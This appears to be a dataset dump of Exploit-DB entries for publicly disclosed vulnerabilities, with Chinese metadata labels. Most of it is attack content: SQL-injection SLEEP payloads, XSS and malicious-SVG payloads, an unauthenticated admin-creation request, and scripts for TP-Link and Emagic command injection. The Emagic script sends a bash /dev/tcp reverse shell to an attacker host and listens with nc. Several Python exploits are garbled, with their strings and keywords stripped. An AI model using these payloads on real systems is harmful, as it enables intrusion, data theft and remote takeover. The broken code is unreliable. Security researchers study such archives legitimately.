QLWD/code_shield huggingface dataset:
标题: SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection EDB-ID: 51714 CVE: 2023-4548 类型: WEBAPPS 平台: PHP 发布日期: 2023-09-08 漏洞利用脚本: # Exploit Title: SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection
# Exploit Author: CraCkEr
# Date: 20/08/2023
# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/
# Version: 1.9.0.3
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4548
# CWE: CWE-89 / CWE-74 / CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /search

GET parameter 'filter[brandid]' is vulnerable to SQL Injection

https://website/search?filtered=1&q=11&load_filter=1&filter[brandid]=[SQLi]&filter[price]=100-500&filter[attr][Memory][]=500%20GB&filter[attr][Color][]=Black

---
Parameter: filter[brandid] (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: filtered=1&q=11&load_filter=1&filter[brandid]=4'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z&filter[price]=100-500&filter[attr][Memory][]=500 GB&filter[attr][Color][]=Black
---


[-] Done URL: https://www.exploit-db.com/exploits/51714
标题: WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated) EDB-ID: 51711 CVE: 2022-25148 类型: WEBAPPS 平台: PHP 发布日期: 2023-09-04 漏洞利用脚本: # Exploit Title: WP Statistics Plugin <= 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
# Date: 13/02/2022
# Exploit Author: psychoSherlock
# Vendor Homepage: https://wp-statistics.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-statistics.13.1.5.zip
# Version: 13.1.5 and prior
# Tested on: wp-statistics 13.1.5
# CVE : CVE-2022-25148
# Vendor URL: https://wordpress.org/plugins/wp-statistics/
# CVSS Score: 8.4 (High)

import argparse
 requests
 re
 urllibparse


 
    parser  argparseArgumentParserdescription
    parseradd_argument  required
                        

    args  parserparse_args

    baseUrl  argsurl
    payload  

    wp_session  requestssession

    resp  wp_sessiongetbaseUrl
    nonce  researchr resptextgroup
    f

    headers  
         

    payload  urllibparsequote_pluspayload
    exploit  f
    exploit_url  baseUrl  exploit

    f

    resp  wp_sessiongetexploit_url headersheaders

     respelapsedtotal_seconds  
        
        f
    
        


 __name__  
    main URL: https://www.exploit-db.com/exploits/51711
标题: SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS EDB-ID: 51713 CVE: 2023-4547 类型: WEBAPPS 平台: PHP 发布日期: 2023-09-04 漏洞利用脚本: # Exploit Title: SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 20/08/2023
# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/
# Version: 1.9.0.3
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4547
# CWE: CWE-79 - CWE-74 - CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /search

GET parameter 'filter[brandid]' is vulnerable to XSS
GET parameter 'filter[price]' is vulnerable to XSS

https://website/search?filtered=1&q=11&load_filter=1&filter[brandid]=[XSS]&filter[price]=[XSS]&filter[attr][Memory][]=500%20GB


XSS Payloads:

vnxjb"><script>alert(1)</script>bvu51


[-] Done URL: https://www.exploit-db.com/exploits/51713
标题: FileMage Gateway 1.10.9 - Local File Inclusion EDB-ID: 51708 CVE: 2023-39026 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-09-04 漏洞利用脚本: # Exploit Title: FileMage Gateway 1.10.9 - Local File Inclusion
# Date: 8/22/2023
# Exploit Author: Bryce "Raindayzz" Harty   
# Vendor Homepage: https://www.filemage.io/
# Version: Azure Versions < 1.10.9
# Tested on: All Azure deployments < 1.10.9 
# CVE : CVE-2023-39026

# Technical Blog - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html
# Patch from vendor - https://www.filemage.io/docs/updates.html

import requests
import warnings
warnings.filterwarnings("ignore")
 url
    response  requestsgeturl verify timeout
     response
 
    listIP  
    file_path  
     file_path   
        ip_list  readsplitlines
        searchString  
         ip  ip_list
            url  f  
            
                response  workerurl
                
                 searchString  responsetext
                      ip
                    responsetext
                    listIPappendip
             requestsexceptionsRequestException  e  
                f

     x  listIP
        x
 __name__  
    main URL: https://www.exploit-db.com/exploits/51708
标题: AdminLTE PiHole 5.18 - Broken Access Control EDB-ID: 51705 CVE: 2022-23513 类型: WEBAPPS 平台: PHP 发布日期: 2023-09-04 漏洞利用脚本: # Exploit Title: AdminLTE PiHole < 5.18 - Broken Access Control
# Google Dork: [inurl:admin/scripts/pi-hole/phpqueryads.php](https://vuldb.com/?exploit_googlehack.216554)
# Date: 21.12.2022
# Exploit Author: kv1to
# Version: Pi-hole v5.14.2; FTL v5.19.2; Web Interface v5.17
# Tested on: Raspbian / Debian
# Vendor: https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-6qh8-6rrj-7497
# CVE : CVE-2022-23513

In case of an attack, the threat actor will obtain the ability to perform an unauthorized query for blocked domains on queryads endpoint.

## Proof Of Concept with curl:
curl 'http://pi.hole/admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>'

## HTTP requests
GET /admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>' HTTP/1.1
HOST: pi.hole
Cookie: [..SNIPPED..]
[..SNIPPED..]

## HTTP Response
HTTP/1.1 200 OK
[..SNIPPED..]

data: Match found in [..SNIPPED..]
data: <domain>
data: <domain>
data: <domain> URL: https://www.exploit-db.com/exploits/51705
标题: Credit Lite 1.5.4 - SQL Injection EDB-ID: 51701 CVE: 2023-4407 类型: WEBAPPS 平台: PHP 发布日期: 2023-09-04 漏洞利用脚本: # Exploit Title: Credit Lite 1.5.4 - SQL Injection
# Exploit Author: CraCkEr
# Date: 31/07/2023
# Vendor: Hobby-Tech
# Vendor Homepage: https://codecanyon.net/item/credit-lite-micro-credit-solutions/39554392
# Software Link: https://credit-lite.appshat.xyz/
# Version: 1.5.4
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4407
# CWE: CWE-89 - CWE-74 - CWE-707

## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.



## Steps to Reproduce:

To Catch the POST Request

1. Visit [Account Statement] on this Path: https://website/portal/reports/account_statement

2. Select [Start Date] + [End Date] + [Account Number] and Click on [Filter]



Path: /portal/reports/account_statement

POST parameter 'date1' is vulnerable to SQL Injection
POST parameter 'date2' is vulnerable to SQL Injection

-------------------------------------------------------------------------
POST /portal/reports/account_statement HTTP/2

_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=[SQLi]&date2=[SQLi]&account_number=20005001
-------------------------------------------------------------------------

---
Parameter: date1 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&date2=2023-07-31&account_number=20005001

Parameter: date2 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31&date2=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z&account_number=20005001
---



[-] Done URL: https://www.exploit-db.com/exploits/51701
标题: Hyip Rio 2.1 - Arbitrary File Upload EDB-ID: 51698 CVE: 2023-4382 类型: WEBAPPS 平台: PHP 发布日期: 2023-09-04 漏洞利用脚本: # Exploit Title: Hyip Rio 2.1 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 30/07/2023
# Vendor: tdevs
# Vendor Homepage: https://tdevs.co/
# Software Link: https://hyiprio-feature.tdevs.co/
# Version: 2.1
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server
# CVE: CVE-2023-4382


## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS


## Steps to Reproduce:

1. Login as a [Normal User]
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/user/settings
3. Upload any Image into the [avatar]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]

-----------------------------------------------------------
POST /user/settings/profile-update HTTP/2

Content-Disposition: form-data; name="avatar"; filename="XSS.svg"
Content-Type: image/png

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS by Skalvin");
</script>
</svg>
-----------------------------------------------------------

6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS] or right-click on the Avatar and Copy the Link
8. Access your Uploded Evil file on this Path: https://website/assets/global/images/********************.svg



[-] Done URL: https://www.exploit-db.com/exploits/51698
标题: Ivanti Avalanche <v6.4.0.0 - Remote Code Execution EDB-ID: 51699 CVE: 2023-32560 类型: REMOTE 平台: WINDOWS 发布日期: 2023-09-04 漏洞利用脚本: """
Exploit Title: Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
Date: 2023-08-16
Exploit Author: Robel Campbell (@RobelCampbell)
Vendor Homepage: https://www.ivanti.com/
Software Link: https://www.wavelink.com/download/Downloads.aspx?DownloadFile=27550&returnUrl=/Download-Avalanche_Mobile-Device-Management-Software/
Version: v6.4.0.0
Tested on: Windows 11 21H2
CVE: CVE-2023-32560
Reference: https://www.tenable.com/security/research/tra-2023-27
"""

import socket
import struct
 sys


 
     self type_ name value
        self  type_
        selfname  nameencode
        selfvalue  value
        selfname_size  
        selfvalue_size  

     self
         structpackselfname_size selfvalue_size
                           self selfname_size selfvalue_size selfname selfvalue


 
     self hdr payload
        selfhdr  hdr
        selfpayload  payload
        selfpad  b    selfhdr  selfpayload  

     self
         bjoinitempack  item  selfhdr  \
               bjoinitempack  item  selfpayload  selfpad


 
     self hp
        selfmsg_size  hppack  
        selfhdr_size  itempack  item  hphdr
        selfpayload_size  itempack  item  hppayload
        selfunk    

     self
         structpack selfmsg_size selfhdr_size selfpayload_size selfunk


 
     self hp
        selfpre  Preamblehp
        selfhdrpay  hp

     self
         selfprepack  selfhdrpaypack


shellcode   b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b

buf  b  
buf  b 
buf  b
buf  b
buf  shellcode
buf  b  
buf  b 
buf  b    buf

buf2  b  


hdr  Item  buf
payload  Item  buf2 
hp_instance  HPhdr payload
msg_instance  Msghp_instance


port  


 sysargv  
    host  sysargv

    
    sysexit

 socketsocketsocketAF_INET socketSOCK_STREAM  s
    sconnecthost port
    ssendallmsg_instancepack
    
    sclose URL: https://www.exploit-db.com/exploits/51699
标题: Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) EDB-ID: 51688 CVE: 2023-37759 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-21 漏洞利用脚本: # Exploit Title: Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated)
# Date: 11.08.2023
# Exploit Author: 0xBr
# Software Link: https://codecanyon.net/item/crypto-currency-tracker-prices-charts-news-icos-info-and-more/21588008
# Version: <=9.5
# CVE: CVE-2023-37759

POST /en/user/register HTTP/2
Host: localhost
Cookie: XSRF-TOKEN=[TOKEN]; laravel_session=[LARAVEL_SESSION]; SELECTED_CURRENCY=USD; SELECTED_CURRENCY_PRICE=1; cookieconsent_status=dismiss
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 756

_token=[_TOKEN]&name=testing&role_id=1&email=testing%40testing.testing&password=testing&g-recaptcha-response=[G-RECAPTCHA-RESPONSE]&submit_register=Register URL: https://www.exploit-db.com/exploits/51688
标题: OutSystems Service Studio 11.53.30 - DLL Hijacking EDB-ID: 51678 CVE: 2022-47636 类型: LOCAL 平台: WINDOWS 发布日期: 2023-08-10 漏洞利用脚本: # Exploit Title: OutSystems Service Studio 11.53.30 - DLL Hijacking
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://www.outsystems.com/
# Version: Up to 11.53.30 (Build 61739)
# Tested on: Windows
# CVE : CVE-2022-47636

A DLL hijacking vulnerability has been discovered in OutSystems Service 
Studio 11 11.53.30 build 61739.
When a user open a .oml file (OutSystems Modeling Language), the 
application will load the following DLLs from the same directory:

av_libGLESv2.dll
libcef.DLL
user32.dll
d3d10warp.dll

Using a crafted DLL, it is possible to execute arbitrary code in the 
context of the current logged in user. URL: https://www.exploit-db.com/exploits/51678
标题: Inosoft VisiWin 7 2022-2.1 - Insecure Folders Permissions EDB-ID: 51682 CVE: 2023-31468 类型: LOCAL 平台: WINDOWS 发布日期: 2023-08-21 漏洞利用脚本: # Exploit Title: Inosoft VisiWin 7 2022-2.1 - Insecure Folders Permissions 
Privilege Escalation
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://www.inosoft.com/
# Version: Up to 2022-2.1 (Runtime RT7.3 RC3 20221209.5)
# Tested on: Windows
# CVE: CVE-2023-31468

Inosoft VisiWin is a completely open system with a configurable range of 
functions. It combines all features of classic HMI software with 
unlimited programming possibilities.
The installation of the solution will create insecure folder, and this 
could allow a malicious user to manipulate file content or change 
legitimate files (e.g., VisiWin7.Server.Manager.exe which runs with 
SYSTEM privileges) to compromise a system or to gain elevated 
privileges.

This is the list of insecure files and folders with their respective 
permissions:

C:\>icacls "C:\Program Files (x86)\INOSOFT GmbH"
C:\Program Files (x86)\INOSOFT GmbH BUILTIN\Administrators:(OI)(CI)(F)
                                     Everyone:(OI)(CI)(F)
                                     NT AUTHORITY\SYSTEM:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

--------------------------------------------------------------------------------------------------------------------------------------------------------

C:\>icacls "C:\Program Files (x86)\INOSOFT GmbH\VisiWin7\Runtime\VisiWin7.Server.Manager.exe"
C:\Program Files (x86)\INOSOFT GmbH\VisiWin 7\Runtime\VisiWin7.Server.Manager.exe BUILTIN\Administrators:(I)(F)
                                                                          
          Everyone:(I)(F)
                                                                          
          NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\> URL: https://www.exploit-db.com/exploits/51682
标题: TSPlus 16.0.0.0 - Remote Work Insecure Credential storage EDB-ID: 51681 CVE: 2023-31069 类型: REMOTE 平台: WINDOWS 发布日期: 2023-08-21 漏洞利用脚本: # Exploit Title: TSPlus 16.0.0.0 - Remote Work Insecure Credential storage
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://tsplus.net/
# Version: Up to 16.0.0.0
# Tested on: Windows
# CVE : CVE-2023-31069

With TSPlus Remote Work (v. 16.0.0.0) you can create a secure single 
sign-on web portal and remote desktop gateway that enables users to 
remotely access the console session of their office PC.
It is possible to create a custom web portal login page which allows a 
user to login without providing their credentials.
However, the credentials are stored in an insecure manner since they are 
saved in cleartext, within the html login page.
This means that everyone with an access to the web login page, can 
easely retrieve the credentials to access to the application by simply 
looking at the html code page.

This is a code snippet extracted by the source code of the login page 
(var user and var pass):

   // --------------- Access Configuration ---------------
   var user = "Admin";                         // Login to use when 
connecting to the remote server (leave "" to use the login typed in this 
page)
   var pass = "SuperSecretPassword";           // Password to use when 
connecting to the remote server (leave "" to use the password typed in 
this page)
   var domain = "";                            // Domain to use when 
connecting to the remote server (leave "" to use the domain typed in 
this page)
   var server = "127.0.0.1";                   // Server to connect to 
(leave "" to use localhost and/or the server chosen in this page)
   var port = "";                              // Port to connect to 
(leave "" to use localhost and/or the port of the server chosen in this 
page)
   var lang = "as_browser";                    // Language to use
   var serverhtml5 = "127.0.0.1";              // Server to connect to, 
when using HTML5 client
   var porthtml5 = "3389";                     // Port to connect to, 
when using HTML5 client
   var cmdline = "";                           // Optional text that will 
be put in the server's clipboard once connected
   // --------------- End of Access Configuration --------------- URL: https://www.exploit-db.com/exploits/51681
标题: TP-Link Archer AX21 - Unauthenticated Command Injection EDB-ID: 51677 CVE: 2023-1389 类型: REMOTE 平台: HARDWARE 发布日期: 2023-08-10 漏洞利用脚本: #!/usr/bin/python3
# 
# Exploit Title: TP-Link Archer AX21 - Unauthenticated Command Injection
# Date: 07/25/2023
# Exploit Author: Voyag3r (https://github.com/Voyag3r-Security)
# Vendor Homepage: https://www.tp-link.com/us/
# Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.tenable.com/cve/CVE-2023-1389)
# Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2.0
# CVE: CVE-2023-1389
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test. 
















 requests urllibparse argparse
 requestspackagesurllib3exceptions  InsecureRequestWarning


requestspackagesurllib3disable_warningsInsecureRequestWarning


parser  argparseArgumentParser

parseradd_argument  dest   default   
parseradd_argument  dest   default   
parseradd_argument dest   default   

args  parserparse_args


revshell  urllibparsequote  argsattacker    argsport  


url_command    argsrouter    revshell  


r  requestsgeturl_command verify
r  requestsgeturl_command verify URL: https://www.exploit-db.com/exploits/51677
标题: Emagic Data Center Management Suite v6.0 - OS Command Injection EDB-ID: 51673 CVE: 2023-37569 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-08 漏洞利用脚本: #!/bin/bash

# Exploit Title: Emagic Data Center Management Suite v6.0 - OS Command Injection
# Date: 03-08-2023
# Exploit Author: Shubham Pandey & thewhiteh4t
# Vendor Homepage: https://www.esds.co.in/enlight360
# Version: 6.0.0
# Tested on: Kali Linux
# CVE : CVE-2023-37569

URL=$1
LHOST=$2
LPORT=$3

echo "*****************************"
echo "*  ESDS eMagic 6.0.0 RCE    *"
echo "*  > CVE-2023-37569         *"
echo "*  > Shubham & thewhiteh4t  *"
echo "*****************************"

if [ $# -lt 3 ]; then
    echo """
USAGE :

./exploit.sh http://<IP> <LHOST> <LPORT>
./exploit.sh http://192.168.0.10 192.168.0.20 1337
"""
    exit 1
fi

url="$1/index.php/monitor/operations/utilities/"

echo "[+] URL   : $URL"
echo "[+] LHOST : $LHOST"
echo "[+] LPORT : $LPORT"
echo

payload="bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F$LHOST%2F$LPORT%200%3E%261%27"

post_data="utility=ping&operations=yes&hostname=%3B%20$payload&param_before=&param_after=&probe_id=1&rndval=1682490204846"

echo "[!] Triggering exploit..."

echo $url

(sleep 3; curl -s -X POST -d $post_data $url > /dev/null) &

echo "[+] Catching shell..."
nc -lvp 4444 URL: https://www.exploit-db.com/exploits/51673
标题: Social-Commerce 3.1.6 - Reflected XSS EDB-ID: 51671 CVE: 2023-4174 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-08 漏洞利用脚本: # Exploit Title: Social-Commerce 3.1.6 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://social-commerce.moosocial.com/
# Version: 3.1.6
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4174


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /search/index

GET parameter 'q' is vulnerable to XSS

https://website/search/index?q=[XSS]


URL path folder [1,2] is vulnerable to XSS

https://website/stores[XSS]/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&sortby=most_recent

https://website/user_info[XSS]/index/friends

https://website/user_info/index[XSS]/friends

https://website/faqs[XSS]/index?content_search=

https://website/faqs/index[XSS]?content_search=



XSS Payloads:

j8chn"><img src=a onerror=alert(1)>ridxm


[-] Done URL: https://www.exploit-db.com/exploits/51671
标题: mooSocial 3.1.8 - Reflected XSS EDB-ID: 51670 CVE: 2023-4173 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-08 漏洞利用脚本: # Exploit Title: mooSocial 3.1.8 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://travel.moosocial.com/
# Version: 3.1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4173


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



URL path folder is vulnerable to XSS

https://website/classifieds[XSS]/search?category=1

https://website/classifieds/search[XSS]?category=1


XSS Payloads:

ijz3y"><img src=a onerror=alert(1)>y4apk


[-] Done URL: https://www.exploit-db.com/exploits/51670